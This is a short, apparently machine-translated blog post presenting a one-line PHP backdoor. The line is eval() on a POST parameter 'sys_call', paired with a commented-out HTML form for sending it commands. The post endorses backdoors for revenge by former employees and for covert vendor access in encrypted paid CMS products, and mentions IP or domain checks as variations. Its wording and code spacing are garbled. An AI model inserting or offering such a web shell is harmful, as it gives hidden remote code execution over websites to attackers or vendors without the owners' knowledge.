Simplest backdoor on php

Backdoors are needed not only to avenging former employees, who got through to download an avatar to hackers, but also in the normal delivery process of paid CMS encrypted with Zend or IonCube. Wash the best backdoor looks like this:

 eval ($ _ POST ['sys_call']);
 // echo '<form method = "POST"> <textarea name = "sys_call"> </ textarea> <input type = "submit"> </ form>';

Of course, there may be variations with IP verification or the “executioner” domain, and more complex protection from third parties.
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